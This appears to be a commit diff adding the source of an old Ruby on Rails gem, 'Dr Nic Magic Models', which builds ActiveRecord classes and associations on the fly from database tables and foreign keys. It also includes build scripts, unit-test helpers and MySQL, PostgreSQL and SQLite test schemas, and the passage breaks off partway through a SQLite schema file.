module ActiveRecord
module ConnectionAdapters # :nodoc:
# Generic holder for foreign key constraint meta-data from the database schema.
class ForeignKeyConstraint < Struct.new(:name, :table, :foreign_key, :reference_table, :reference_column, :on_update, :on_delete)
end
class AbstractAdapter
# Does this adapter support the ability to fetch foreign key information?
# Backend specific, as the abstract adapter always returns +false+.
def supports_fetch_foreign_keys?
false
end
def foreign_key_constraints(table, name = nil)
raise NotImplementedError, "foreign_key_constraints is not implemented for #{self.class}"
end
def remove_foreign_key_constraint(table_name, constraint_name)
raise NotImplementedError, "rename_table is not implemented for #{self.class}"
end
protected
def symbolize_foreign_key_constraint_action(constraint_action)
return nil if constraint_action.nil?
constraint_action.downcase.gsub(/\s/, '_').to_sym
end
end
end
end

View File

@@ -0,0 +1,42 @@
# Foreign Key support from http://wiki.rubyonrails.org/rails/pages/Foreign+Key+Schema+Dumper+Plugin
module ActiveRecord
module ConnectionAdapters
class MysqlAdapter < AbstractAdapter
def supports_fetch_foreign_keys?
true
end
def foreign_key_constraints(table, name = nil)
constraints = []
execute("SHOW CREATE TABLE #{table}", name).each do |row|
row[1].each do |create_line|
if create_line.strip =~ /CONSTRAINT `([^`]+)` FOREIGN KEY \(`([^`]+)`\) REFERENCES `([^`]+)` \(`([^`]+)`\)([^,]*)/
constraint = ForeignKeyConstraint.new(Regexp.last_match(1), table, Regexp.last_match(2), Regexp.last_match(3), Regexp.last_match(4), nil, nil)
constraint_params = {}
unless Regexp.last_match(5).nil?
Regexp.last_match(5).strip.split('ON ').each do |param|
constraint_params[Regexp.last_match(1).upcase] = Regexp.last_match(2).strip.upcase if param.strip =~ /([^ ]+) (.+)/
end
end
constraint.on_update = symbolize_foreign_key_constraint_action(constraint_params['UPDATE']) if constraint_params.include? 'UPDATE'
constraint.on_delete = symbolize_foreign_key_constraint_action(constraint_params['DELETE']) if constraint_params.include? 'DELETE'
constraints << constraint
end
end
end
constraints
end
def remove_foreign_key_constraint(table_name, constraint_name)
execute "ALTER TABLE #{table_name} DROP FOREIGN KEY #{constraint_name}"
end
end
end
end

View File

@@ -0,0 +1,45 @@
# Foreign Key support from http://wiki.rubyonrails.org/rails/pages/Foreign+Key+Schema+Dumper+Plugin
module ActiveRecord
module ConnectionAdapters
class PostgreSQLAdapter < AbstractAdapter
def supports_fetch_foreign_keys?
true
end
def foreign_key_constraints(table, name = nil)
sql = "SELECT conname, pg_catalog.pg_get_constraintdef(oid) AS consrc FROM pg_catalog.pg_constraint WHERE contype='f' "
sql += "AND conrelid = (SELECT oid FROM pg_catalog.pg_class WHERE relname='#{table}')"
result = query(sql, name)
keys = []
re = /(?i)^FOREIGN KEY \((.+)\) REFERENCES (.+)\((.+)\)(?: ON UPDATE (\w+))?(?: ON DELETE (\w+))?$/
result.each do |row|
# pg_catalog.pg_get_constraintdef returns a string like this:
# FOREIGN KEY (user_id) REFERENCES users(id) ON UPDATE CASCADE ON DELETE CASCADE
if match = re.match(row[1])
keys << ForeignKeyConstraint.new(row[0],
table,
match[1],
match[2],
match[3],
symbolize_foreign_key_constraint_action(match[4]),
symbolize_foreign_key_constraint_action(match[5]))
end
end
keys
end
def remove_foreign_key_constraint(table_name, constraint_name)
execute "ALTER TABLE #{table_name} DROP CONSTRAINT #{constraint_name}"
end
end
end
end

View File

@@ -0,0 +1,34 @@
$:.unshift(File.dirname(__FILE__)) unless
$:.include?(File.dirname(__FILE__)) || $:.include?(File.expand_path(File.dirname(__FILE__)))
unless defined?(ActiveRecord)
begin
require 'active_record'
rescue LoadError
require 'rubygems'
require_gem 'activerecord'
end
end
module DrNicMagicModels
Logger = RAILS_DEFAULT_LOGGER rescue Logger.new(STDERR)
end
require 'dr_nic_magic_models/magic_model'
require 'dr_nic_magic_models/schema'
require 'dr_nic_magic_models/validations'
require 'dr_nic_magic_models/inflector'
require 'base'
require 'module'
require 'rails' rescue nil
require 'connection_adapters/abstract_adapter'
require 'connection_adapters/mysql_adapter'
require 'connection_adapters/postgresql_adapter'
# load the schema
# TODO - add this to README - DrNicMagicModels::Schema.load_schema(true)
class ActiveRecord::Base
include DrNicMagicModels::MagicModel
extend DrNicMagicModels::Validations
end

View File

@@ -0,0 +1,14 @@
module DrNicMagicModels
class Inflector
def table_names ; DrNicMagicModels::Schema.table_names; end
def tables ; DrNicMagicModels::Schema.tables; end
def models ; DrNicMagicModels::Schema.model; end
def class_name(table_name)
ActiveRecord::Base.class_name(table_name)
end
def post_class_creation(klass)
end
end
end

View File

@@ -0,0 +1,133 @@
# Mixed into a class that is dynamically created, unless
# the class was created by the Schema.load_schema process
# which builds the whole class, thus no magicalness is
# needed
module DrNicMagicModels::MagicModel
def self.append_features(base)
super
base.send(:include, InstanceMethods)
class << base
# Returns the AssociationReflection object for the named +aggregation+ (use the symbol). Example:
# Account.reflect_on_association(:owner) # returns the owner AssociationReflection
# Invoice.reflect_on_association(:line_items).macro # returns :has_many
def reflect_on_association(association)
unless reflections[association]
# See if an assocation can be generated
self.new.send(association) rescue nil
end
reflections[association].is_a?(ActiveRecord::Reflection::AssociationReflection) ? reflections[association] : nil
end
end
end
module InstanceMethods
def method_missing(method, *args, &block)
begin
super
rescue
if unknown_method? method
result = find_belongs_to method, *args, &block
result = find_has_some method, *args, &block if not result
result = find_has_some_indirect method, *args, &block if not result
return result if result
end
add_known_unknown method
raise
end
end
def add_known_unknown(method)
@known_unknowns ||= {}
@known_unknowns[method] = true
end
def unknown_method?(method)
@known_unknowns.nil? or @known_unknowns.include? method
end
def find_belongs_to(method, *args, &block)
method_clean = clean_method method
fkc =
begin
self.class.connection.foreign_key_constraints(self.class.table_name, method_clean)
rescue NotImplementedError
nil
end
if !fkc.nil? && fkc.length > 0
foreign_key = fkc.first.foreign_key
options = {:dependent => :destroy,
:foreign_key => fkc.first.foreign_key,
:class_name => self.class.class_name(fkc.first.reference_table)}
else
foreign_key = self.class.columns.select {|column| column.name == method_clean.to_s.foreign_key}.first
end
options ||= {}
return add_belongs_to(method, method_clean, options, *args, &block) if foreign_key
end
def add_belongs_to(method, method_clean, options, *args, &block)
self.class.send 'belongs_to', method_clean.to_sym, options rescue puts $!
self.send(method, *args, &block)
end
def find_has_some(method, *args, &block)
method_clean = clean_method method
fkc = [method_clean.to_s.pluralize, method_clean.to_s.singularize].inject({}) do |pair, table_name|
fkc = begin
self.class.connection.foreign_key_constraints(table_name)
rescue NotImplementedError
nil
end
pair[table_name] = fkc if not fkc.blank?
pair
end
if not fkc.blank?
# assumes there is only one table found - that schema doesn't have a singular and plural table of same name
foreign_key = fkc.values.first.find {|fk| fk.reference_table == self.class.table_name}
if foreign_key
foreign_key = foreign_key.foreign_key
table_name = fkc.keys.first
klass = Module.const_get table_name.singularize.camelize rescue nil
options = {:foreign_key => foreign_key, :class_name => klass.name}
end
end
unless foreign_key
klass = Module.const_get method_clean.to_s.downcase.singularize.camelize rescue nil
foreign_key = klass.columns.select {|column| column.name == self.class.name.foreign_key}.first if klass
end
options ||= {}
return add_has_some(method, method_clean, options, *args, &block) if foreign_key
end
def add_has_some(method, method_clean, options, *args, &block)
association = method_clean.singularize == method_clean ? 'has_one' : 'has_many'
self.class.send association, method_clean.to_sym, options rescue puts $!
self.send(method, *args, &block)
end
def find_has_some_indirect(method, *args, &block)
klass = Module.const_get method.to_s.downcase.singularize.camelize rescue return
join_table = nil
self.connection.tables.each do |table|
unless [self.class.table_name, klass.table_name].include? table
columns = self.connection.columns(table).map(&:name)
join_table = table if columns.include?(self.class.to_s.foreign_key) and columns.include?(klass.to_s.foreign_key)
end
break if join_table
end
return add_has_some_through(join_table, method, *args, &block) if join_table
end
def add_has_some_through(join_table, method, *args, &block)
self.class.send 'has_many', method, :through => join_table.to_sym
self.send(method, *args, &block)
end
private
def clean_method(method)
method.to_s.gsub(/=$/,'') # remove any = from the end of the method name
end
end
end

View File

@@ -0,0 +1,270 @@
module DrNicMagicModels
# ONE Schema per namespace module
# Person, Company, etc share the Object namespace module, ie. ::Person, ::Company
# Blog::Post, Blog::Comment, share the Blog namespace module
class Schema
attr_reader :modul
def initialize(modul)
@modul = modul
@table_name_prefix = modul.instance_variable_get("@table_name_prefix") rescue ''
logger.info "Create Schema for #{@modul}, table_name_prefix '#{@table_name_prefix}'"
end
cattr_accessor :inflector
cattr_accessor :superklass
# Need to store models etc per-module, not in @ @models
def inflector
@inflector ||= Inflector.new
end
# all in lower case please
ReservedTables = [:schema_info, :sessions]
@models = nil
def logger
@logger ||= DrNicMagicModels::Logger
end
def models
load_schema if @models.nil?
@models
end
def tables
load_schema if @tables.nil?
@tables
end
def table_names
load_schema if @table_names.nil?
@table_names
end
def fks_on_table(table_name)
load_schema if @models.nil?
@fks_by_table[table_name.to_s] || []
end
# active record only support 2 column link tables, otherwise use a model table, has_many and through
def is_link_table?(table_name)
load_schema if @models.nil?
return @link_tables[table_name] if ! @link_tables[table_name].nil?
column_names = @conn.columns(table_name).map{|x| x.name }
@link_tables[table_name] = ! column_names.include?("id") && column_names.length == 2 && column_names.select { |x| x =~ /_id$/ } == column_names
return @link_tables[table_name]
end
def link_tables_for_class(klass)
load_schema if @models.nil?
end
def load_schema(preload = false)
return if !@models.nil?
@superklass ||= ActiveRecord::Base
raise "No database connection" if !(@conn = @superklass.connection)
@models = ModelHash.new
@tables = Hash.new
@fks_by_table = Hash.new
@link_tables = Hash.new
@table_names = @conn.tables
@table_names = @table_names.grep(/^#{@table_name_prefix}/) if @table_name_prefix
@table_names = @table_names.sort
logger.info "For #{modul} tables are #{@table_names.inspect}"
# Work out which tables are in the model and which aren't
@table_names.each do |table_name|
# deal with reserved tables & link_tables && other stray id-less tables
#key = 'id'
#case ActiveRecord::Base.primary_key_prefix_type
# when :table_name
# key = Inflector.foreign_key(table_name, false)
# when :table_name_with_underscore
# key = Inflector.foreign_key(table_name)
#end
#next if ReservedTables.include?(table_name.downcase.to_sym) ||
# is_link_table?(table_name) ||
# ! @conn.columns(table_name).map{ |x| x.name}.include?(key)
table_name_clean = table_name.gsub(/^#{@table_name_prefix}/,'')
# a model table then...
model_class_name = inflector.class_name(table_name_clean)
logger.debug "Got a model table: #{table_name} => class #{model_class_name}"
@models[model_class_name] = table_name
@tables[table_name] = model_class_name
if preload
# create by MAGIC!
klass = model_class_name.constantize
# Process FKs?
if @conn.supports_fetch_foreign_keys?
tables.each do |table_name|
logger.debug "Getting FKs for #{table_name}"
@fks_by_table[table_name] = Array.new
@conn.foreign_key_constraints(table_name).each do |fk|
logger.debug "Got one: #{fk}"
@fks_by_table[table_name].push(fk)
end # do each fk
end # each table
end
# Try to work out our link tables now...
@models.keys.sort.each{|klass| process_table(@models[klass.to_s])}
@link_tables.keys.sort.each{|table_name| process_link_table(table_name) if @link_tables[table_name]}
end
end
end
def process_table(table_name)
logger.debug "Processing model table #{table_name}"
# ok, so let's look at the foreign keys on the table...
belongs_to_klass = @tables[table_name].constantize rescue return
processed_columns = Hash.new
fks_on_table(table_name).each do |fk|
logger.debug "Found FK column by suffix _id [#{fk.foreign_key}]"
has_some_klass = Inflector.classify(fk.reference_table).constantize rescue next
processed_columns[fk.foreign_key] = { :has_some_klass => has_some_klass }
processed_columns[fk.foreign_key].merge! add_has_some_belongs_to(belongs_to_klass, fk.foreign_key, has_some_klass) rescue next
end
column_names = @conn.columns(table_name).map{ |x| x.name}
column_names.each do |column_name|
next if not column_name =~ /_id$/
logger.debug "Found FK column by suffix _id [#{column_name}]"
if processed_columns.key?(column_name)
logger.debug "Skipping, already processed"
next
end
has_some_klass = Inflector.classify(column_name.sub(/_id$/,"")).constantize rescue next
processed_columns[column_name] = { :has_some_klass => has_some_klass }
processed_columns[column_name].merge! add_has_some_belongs_to(belongs_to_klass, column_name, has_some_klass) rescue next
end
#TODO: what if same classes in table?
# is this a link table with attributes? (has_many through?)
return if processed_columns.keys.length < 2
processed_columns.keys.each do |key1|
processed_columns.keys.each do |key2|
next if key1 == key2
logger.debug "\n*** #{processed_columns[key1][:has_some_class]}.send 'has_many', #{processed_columns[key2][:belongs_to_name].to_s.pluralize.to_sym}, :through => #{processed_columns[key2][:has_some_name]}\n\n"
processed_columns[key1][:has_some_class].send 'has_many', processed_columns[key2][:belongs_to_name].to_s.pluralize.to_sym, :through => processed_columns[key2][:has_some_name].to_sym
end
end
end
def add_has_some_belongs_to(belongs_to_klass, belongs_to_fk, has_some_klass)
logger.debug "Trying to add a #{belongs_to_klass} belongs_to #{has_some_klass}..."
# so this is a belongs_to & has_some style relationship...
# is it a has_many, or a has_one? Well, let's assume a has_one has a unique index on the column please... good db design, haha!
unique = belongs_to_klass.get_unique_index_columns.include?(belongs_to_fk)
belongs_to_name = belongs_to_fk.sub(/_id$/, '').to_sym
logger.debug "\n*** #{belongs_to_klass}.send 'belongs_to', #{belongs_to_name}, :class_name => #{has_some_klass}, :foreign_key => #{belongs_to_fk}\n"
belongs_to_klass.send(:belongs_to, belongs_to_name, :class_name => has_some_klass.to_s, :foreign_key => belongs_to_fk.to_sym)
# work out if we need a prefix
has_some_name = (
(unique ? belongs_to_klass.table_name.singularize : belongs_to_klass.table_name) +
(belongs_to_name.to_s == has_some_klass.table_name.singularize ? "" : "_as_"+belongs_to_name.to_s)
).downcase.to_sym
method = unique ? :has_one : :has_many
logger.debug "\n*** #{has_some_klass}.send(#{method}, #{has_some_name}, :class_name => #{belongs_to_klass.to_s}, :foreign_key => #{belongs_to_fk.to_sym})\n\n"
has_some_klass.send(method, has_some_name, :class_name => belongs_to_klass.to_s, :foreign_key => belongs_to_fk.to_sym)
return { :method => method, :belongs_to_name => belongs_to_name, :has_some_name => has_some_name, :has_some_class => has_some_klass }
end
def process_link_table(table_name)
logger.debug "Processing link table #{table_name}"
classes_map = Hash.new
column_names = @conn.columns(table_name).map{ |x| x.name}
# use foreign keys first
fks_on_table(table_name).each do |fk|
logger.debug "Processing fk: #{fk}"
klass = Inflector.classify(fk.reference_table).constantize rescue logger.debug("Cannot find model #{class_name} for table #{fk.reference_table}") && return
classes_map[fk.foreign_key] = klass
end
logger.debug "Got #{classes_map.keys.length} references from FKs"
if classes_map.keys.length < 2
#Fall back on good ol _id recognition
column_names.each do |column_name|
# check we haven't processed by fks already
next if ! classes_map[column_name].nil?
referenced_table = column_name.sub(/_id$/, '')
begin
klass = Inflector.classify(referenced_table).constantize
# fall back on FKs here
if ! klass.nil?
classes_map[column_name] = klass
end
rescue
end
end
end
# not detected the link table?
logger.debug "Got #{classes_map.keys.length} references"
logger.debug "Cannot detect both tables referenced in link table" && return if classes_map.keys.length != 2
logger.debug "Adding habtm relationship"
logger.debug "\n*** #{classes_map[column_names[0]]}.send 'has_and_belongs_to_many', #{column_names[1].sub(/_id$/,'').pluralize.to_sym}, :class_name => #{classes_map[column_names[1]].to_s}, :join_table => #{table_name.to_sym}\n"
logger.debug "\n*** #{classes_map[column_names[1]]}.send 'has_and_belongs_to_many', #{column_names[0].sub(/_id$/,'').pluralize.to_sym}, :class_name => #{classes_map[column_names[0]].to_s}, :join_table => #{table_name.to_sym}\n\n"
classes_map[column_names[0]].send 'has_and_belongs_to_many', column_names[1].sub(/_id$/,'').pluralize.to_sym, :class_name => classes_map[column_names[1]].to_s, :join_table => table_name.to_sym
classes_map[column_names[1]].send 'has_and_belongs_to_many', column_names[0].sub(/_id$/,'').pluralize.to_sym, :class_name => classes_map[column_names[0]].to_s, :join_table => table_name.to_sym
end
end
class ModelHash < Hash
def unenquire(class_id)
@enquired ||= {}
@enquired[class_id = class_id.to_s] = false
end
def enquired?(class_id)
@enquired ||= {}
@enquired[class_id.to_s]
end
def [](class_id)
enquired?(class_id = class_id.to_s)
@enquired[class_id] = true
super(class_id)
end
end
end

View File

@@ -0,0 +1,46 @@
module DrNicMagicModels
module Validations
def generate_validations
logger = DrNicMagicModels::Logger
# Ensure that the connection to db is established, else validations don't get created.
ActiveRecord::Base.connection
# Code reworked from http://www.redhillconsulting.com.au/rails_plugins.html
# Thanks Red Hill Consulting for using an MIT licence :o)
# NOT NULL constraints
self.columns.reject { |column| column.name =~ /(?i)^(((created|updated)_(at|on))|position|type|id)$/ }.each do |column|
if column.type == :integer
logger.debug "validates_numericality_of #{column.name}, :allow_nil => #{column.null.inspect}, :only_integer => true"
self.validates_numericality_of column.name, :allow_nil => column.null, :only_integer => true
elsif column.number?
logger.debug "validates_numericality_of #{column.name}, :allow_nil => #{column.null.inspect}"
self.validates_numericality_of column.name, :allow_nil => column.null
elsif column.text? && column.limit
logger.debug "validates_length_of #{column.name}, :allow_nil => #{column.null.inspect}, :maximum => #{column.limit}"
self.validates_length_of column.name, :allow_nil => column.null, :maximum => column.limit
end
# Active record seems to interpolate booleans anyway to either true, false or nil...
if column.type == :boolean
logger.debug "validates_inclusion_of #{column.name}, :in => [true, false], :allow_nil => #{column.null}, :message => ActiveRecord::Errors.default_error_messages[:blank]"
self.validates_inclusion_of column.name, :in => [true, false], :allow_nil => column.null, :message => ActiveRecord::Errors.default_error_messages[:blank]
elsif !column.null
logger.debug "validates_presence_of #{column.name}"
self.validates_presence_of column.name
end
end
# Single-column UNIQUE indexes
get_unique_index_columns.each do |col|
logger.debug "validates_uniqueness_of #{col}"
self.validates_uniqueness_of col
end
end
end
end

View File

@@ -0,0 +1,9 @@
module DrNicMagicModels #:nodoc:
module VERSION #:nodoc:
MAJOR = 0
MINOR = 9
TINY = 2
STRING = [MAJOR, MINOR, TINY].join('.')
end
end

View File

@@ -0,0 +1,33 @@
class Module
alias :normal_const_missing :const_missing
def const_missing(class_id)
begin
return normal_const_missing(class_id)
rescue
end
@magic_schema ||= DrNicMagicModels::Schema.new self
unless table_name = @magic_schema.models[class_id]
raise NameError.new("uninitialized constant #{class_id}") if @magic_schema.models.enquired? class_id
end
superklass = @magic_schema.superklass || ActiveRecord::Base
klass = create_class(class_id, superklass) do
set_table_name table_name
# include DrNicMagicModels::MagicModel
# extend DrNicMagicModels::Validations
end
klass.generate_validations # need to call this AFTER the class name has been assigned
@magic_schema.inflector.post_class_creation klass
klass
end
def magic_module(options)
self.instance_variable_set "@table_name_prefix", options[:table_name_prefix] if options[:table_name_prefix]
end
private
def create_class(class_name, superclass, &block)
klass = Class.new superclass, &block
self.const_set class_name, klass
end
end

View File

@@ -0,0 +1,19 @@
module Dependencies #:nodoc:#
@@models_dir = File.expand_path(File.join(RAILS_ROOT,'app','models'))
# don't reload models... it doesn't work anyway, not sure why they haven't done this?
# submit as patch?
alias require_or_load_old require_or_load
def require_or_load(file_name, *args)
file_name = $1 if file_name =~ /^(.*)\.rb$/
expanded = File.expand_path(file_name)
old_mechanism = Dependencies.mechanism
if expanded =~ /^#{@@models_dir}/
RAILS_DEFAULT_LOGGER.debug "*** Not reloading #{file_name}"
Dependencies.mechanism = :require
end
require_or_load_old(file_name, *args)
Dependencies.mechanism = old_mechanism
end
end

View File

@@ -0,0 +1,66 @@
#!/usr/bin/env ruby
require 'rubygems'
require 'redcloth'
require 'syntax/convertors/html'
require 'erb'
require File.dirname(__FILE__) + '/../lib/dr_nic_magic_models/version.rb'
version = DrNicMagicModels::VERSION::STRING
download = 'http://rubyforge.org/projects/magicmodels'
class Fixnum
def ordinal
# teens
return 'th' if (10..19).include?(self % 100)
# others
case self % 10
when 1: return 'st'
when 2: return 'nd'
when 3: return 'rd'
else return 'th'
end
end
end
class Time
def pretty
return "#{mday}#{mday.ordinal} #{strftime('%B')} #{year}"
end
end
def convert_syntax(syntax, source)
return Syntax::Convertors::HTML.for_syntax(syntax).convert(source).gsub(%r!^<pre>|</pre>$!,'')
end
if ARGV.length >= 1
src, template = ARGV
template ||= File.dirname(__FILE__) + '/../website/template.rhtml'
else
puts("Usage: #{File.split($0).last} source.txt [template.rhtml] > output.html")
exit!
end
template = ERB.new(File.open(template).read)
title = nil
body = nil
File.open(src) do |fsrc|
title_text = fsrc.readline
body_text = fsrc.read
syntax_items = []
body_text.gsub!(%r!<(pre|code)[^>]*?syntax=['"]([^'"]+)[^>]*>(.*?)</\1>!m){
ident = syntax_items.length
element, syntax, source = $1, $2, $3
syntax_items << "<#{element} class=\"syntax\">#{convert_syntax(syntax, source)}</#{element}>"
"syntax-temp-#{ident}"
}
title = RedCloth.new(title_text).to_html.gsub(%r!<.*?>!,'').strip
body = RedCloth.new(body_text).to_html
body.gsub!(%r!(?:<pre><code>)?syntax-temp-(\d+)(?:</code></pre>)?!){ syntax_items[$1.to_i] }
end
stat = File.stat(src)
created = stat.ctime
modified = stat.mtime
$stdout << template.result(binding)

View File

@@ -0,0 +1,58 @@
#!/usr/bin/env ruby
require 'rubygems'
require 'redcloth'
require 'syntax/convertors/html'
require 'erb'
require 'active_support'
require File.dirname(__FILE__) + '/../lib/dr_nic_magic_models/version.rb'
version = DrNicMagicModels::VERSION::STRING
download = 'http://rubyforge.org/projects/magicmodels'
class Fixnum
def ordinal
# teens
return 'th' if (10..19).include?(self % 100)
# others
case self % 10
when 1: return 'st'
when 2: return 'nd'
when 3: return 'rd'
else return 'th'
end
end
end
class Time
def pretty
return "#{mday}#{mday.ordinal} #{strftime('%B')} #{year}"
end
end
def convert_syntax(syntax, source)
return Syntax::Convertors::HTML.for_syntax(syntax).convert(source).gsub(%r!^<pre>|</pre>$!,'')
end
if ARGV.length >= 1
src, template = ARGV
template ||= File.dirname(__FILE__) + '/../website/template.js'
else
puts("Usage: #{File.split($0).last} source.txt [template.rhtml] > output.html")
exit!
end
template = ERB.new(File.open(template).read)
title = nil
body = nil
File.open(src) do |fsrc|
title_text = fsrc.readline
body = fsrc.read
title = RedCloth.new(title_text).to_html.gsub(%r!<.*?>!,'').strip
end
stat = File.stat(src)
created = stat.ctime
modified = stat.mtime
$stdout << template.result(binding)

Binary file not shown.

View File

@@ -0,0 +1,72 @@
$:.unshift(File.dirname(__FILE__) + '/../lib')
require 'rubygems'
require 'test/unit'
require 'active_record'
require 'active_record/fixtures'
require 'active_support/binding_of_caller'
require 'active_support/breakpoint'
require 'connection'
require 'dr_nic_magic_models'
ActiveSupport::Deprecation.debug = true
QUOTED_TYPE = ActiveRecord::Base.connection.quote_column_name('type') unless Object.const_defined?(:QUOTED_TYPE)
class Test::Unit::TestCase #:nodoc:
self.fixture_path = File.dirname(__FILE__) + "/fixtures/"
self.use_instantiated_fixtures = false
self.use_transactional_fixtures = true #(ENV['AR_NO_TX_FIXTURES'] != "yes")
def create_fixtures(*table_names, &block)
Fixtures.create_fixtures(File.dirname(__FILE__) + "/fixtures/", table_names, {}, &block)
end
def assert_date_from_db(expected, actual, message = nil)
# SQL Server doesn't have a separate column type just for dates,
# so the time is in the string and incorrectly formatted
if current_adapter?(:SQLServerAdapter)
assert_equal expected.strftime("%Y/%m/%d 00:00:00"), actual.strftime("%Y/%m/%d 00:00:00")
elsif current_adapter?(:SybaseAdapter)
assert_equal expected.to_s, actual.to_date.to_s, message
else
assert_equal expected.to_s, actual.to_s, message
end
end
def assert_queries(num = 1)
ActiveRecord::Base.connection.class.class_eval do
self.query_count = 0
alias_method :execute, :execute_with_query_counting
end
yield
ensure
ActiveRecord::Base.connection.class.class_eval do
alias_method :execute, :execute_without_query_counting
end
assert_equal num, ActiveRecord::Base.connection.query_count, "#{ActiveRecord::Base.connection.query_count} instead of #{num} queries were executed."
end
def assert_no_queries(&block)
assert_queries(0, &block)
end
end
def current_adapter?(type)
ActiveRecord::ConnectionAdapters.const_defined?(type) &&
ActiveRecord::Base.connection.instance_of?(ActiveRecord::ConnectionAdapters.const_get(type))
end
ActiveRecord::Base.connection.class.class_eval do
cattr_accessor :query_count
alias_method :execute_without_query_counting, :execute
def execute_with_query_counting(sql, name = nil)
self.query_count += 1
execute_without_query_counting(sql, name)
end
end
#ActiveRecord::Base.logger = Logger.new(STDOUT)
#ActiveRecord::Base.colorize_logging = false

View File

@@ -0,0 +1,13 @@
print "Using native MySQL\n"
require 'logger'
ActiveRecord::Base.logger = Logger.new("debug.log")
db1 = "dr_nic_magic_models_unittest"
ActiveRecord::Base.establish_connection(
:adapter => "mysql",
:username => "root",
:encoding => "utf8",
:database => db1
)

View File

@@ -0,0 +1,12 @@
print "Using Postgres\n"
require 'logger'
ActiveRecord::Base.logger = Logger.new("debug.log")
db1 = "dr_nic_magic_models_unittest"
ActiveRecord::Base.establish_connection(
:adapter => "postgresql",
:encoding => "utf8",
:database => db1
)

View File

@@ -0,0 +1,10 @@
print "Using native Sqlite3\n"
require 'logger'
ActiveRecord::Base.logger = Logger.new("debug.log")
ActiveRecord::Base.establish_connection(
:adapter => "sqlite3",
:dbfile => "test.db"
)

View File

@@ -0,0 +1,13 @@
require 'abstract_unit'
#require 'fixtures/user'
#require 'fixtures/group'
#require 'fixtures/membership'
class DummyTest < Test::Unit::TestCase
def setup
end
def test_truth
assert true
end
end

View File

@@ -0,0 +1,10 @@
require 'abstract_unit'
class EnvTest < Test::Unit::TestCase
def test_modules
assert_not_nil DrNicMagicModels
assert_not_nil DrNicMagicModels::Validations
assert_not_nil DrNicMagicModels::Schema
end
end

View File

@@ -0,0 +1,3 @@
first:
id: 1
name: kind

View File

@@ -0,0 +1,3 @@
first:
fun_user_id: 1
adjective_id: 1

View File

@@ -0,0 +1,4 @@
DROP TABLE fun_users;
DROP TABLE groups;
DROP TABLE group_memberships;
DROP TABLE group_tag;

View File

@@ -0,0 +1,56 @@
CREATE TABLE `fun_users` (
`id` int(11) NOT NULL auto_increment,
`type` varchar(255) NOT NULL,
`firstname` varchar(50) NOT NULL,
`lastname` varchar(50) NOT NULL,
`login` varchar(50) NOT NULL,
`email` varchar(50) NULL,
PRIMARY KEY (`id`)
) TYPE=InnoDB;
CREATE TABLE `groups` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(50) NOT NULL UNIQUE,
`description` varchar(50) default NULL,
`some_int` integer default NULL,
`some_float` float default NULL,
`some_bool` boolean default NULL,
PRIMARY KEY (`id`)
) TYPE=InnoDB;
CREATE TABLE `group_memberships` (
`id` int(11) NOT NULL auto_increment,
`fun_user_id` int(11) NOT NULL,
`group_id` int(11) NOT NULL,
PRIMARY KEY (`id`)
) TYPE=InnoDB;
CREATE TABLE `adjectives` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(255),
PRIMARY KEY (`id`)
) TYPE=InnoDB;
CREATE TABLE `adjectives_fun_users` (
`fun_user_id` int(11) NOT NULL,
`adjective_id` int(11) NOT NULL,
PRIMARY KEY (`fun_user_id`,`adjective_id`)
) TYPE=InnoDB;
CREATE TABLE `group_tag` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(50) NOT NULL,
`group_id` int(11) NOT NULL,
`referenced_group_id` int(11) NULL UNIQUE,
PRIMARY KEY (`id`)
) TYPE=InnoDB;
ALTER TABLE `group_tag`
ADD FOREIGN KEY (`group_id`) REFERENCES `groups` (`id`) ON DELETE CASCADE;
ALTER TABLE `group_tag`
ADD FOREIGN KEY (`referenced_group_id`) REFERENCES `groups` (`id`) ON DELETE CASCADE;
ALTER TABLE `adjectives_fun_users`
ADD FOREIGN KEY (`adjective_id`) REFERENCES `adjectives` (`id`) ON DELETE CASCADE;

View File

@@ -0,0 +1,55 @@
CREATE TABLE "fun_users" (
"id" SERIAL NOT NULL,
"type" varchar(255) NOT NULL,
"firstname" varchar(50) NOT NULL,
"lastname" varchar(50) NOT NULL,
"login" varchar(50) NOT NULL,
"email" varchar(50) NULL,
PRIMARY KEY ("id")
);
CREATE TABLE "groups" (
"id" SERIAL NOT NULL,
"name" varchar(50) NOT NULL UNIQUE,
"description" varchar(50) default NULL,
"some_int" integer default NULL,
"some_float" float default NULL,
"some_bool" boolean default NULL,
PRIMARY KEY ("id")
);
CREATE TABLE "group_memberships" (
"id" SERIAL,
"fun_user_id" int NOT NULL,
"group_id" int NOT NULL,
PRIMARY KEY ("id")
);
CREATE TABLE "adjectives" (
"id" SERIAL,
"name" varchar(255),
PRIMARY KEY ("id")
);
CREATE TABLE "adjectives_fun_users" (
"fun_user_id" int NOT NULL,
"adjective_id" int NOT NULL,
PRIMARY KEY ("fun_user_id","adjective_id")
);
CREATE TABLE "group_tag" (
"id" SERIAL NOT NULL,
"name" varchar(50) NOT NULL,
"group_id" int NOT NULL,
"referenced_group_id" int NULL UNIQUE,
PRIMARY KEY ("id")
);
ALTER TABLE "group_tag"
ADD FOREIGN KEY ("group_id") REFERENCES "groups" ("id") ON DELETE CASCADE;
ALTER TABLE "group_tag"
ADD FOREIGN KEY ("referenced_group_id") REFERENCES "groups" ("id") ON DELETE CASCADE;
ALTER TABLE "adjectives_fun_users"
ADD FOREIGN KEY ("adjective_id") REFERENCES "adjectives" ("id") ON DELETE CASCADE;

View File

@@ -0,0 +1,49 @@
CREATE TABLE `fun_users` (
`id` int(11) NOT NULL,
`type` varchar(255) NOT NULL,
`firstname` varchar(50) NOT NULL,
`lastname` varchar(50) NOT NULL,
`login` varchar(50) NOT NULL,
`email` varchar(50) NULL,
PRIMARY KEY (`id`)
);
CREATE TABLE `groups` (
`id` int(11) NOT NULL ,
`name` varchar(50) NOT NULL UNIQUE,
`description` varchar(50) default NULL,
`some_int` integer default NULL,
`some_float` float default NULL,
`some_bool` boolean default NULL,
PRIMARY KEY (`id`)
);
CREATE TABLE `group_memberships` (
`id` int(11) NOT NULL,
`fun_user_id` int(11) NOT NULL,
`group_id` int(11) NOT NULL,
PRIMARY KEY (`id`)
);
CREATE TABLE `adjectives` (
`id` int(11) NOT NULL,
`name` varchar(255),
PRIMARY KEY (`id`)
);
CREATE TABLE `adjectives_fun_users` (
`fun_user_id` int(11) NOT NULL,
`adjective_id` int(11) NOT NULL,
PRIMARY KEY (`fun_user_id`,`adjective_id`)
);
CREATE TABLE `group_tag` (
`id` int(11) NOT NULL,
`name` varchar(50) NOT NULL,
`group_id` int(11) NOT NULL,
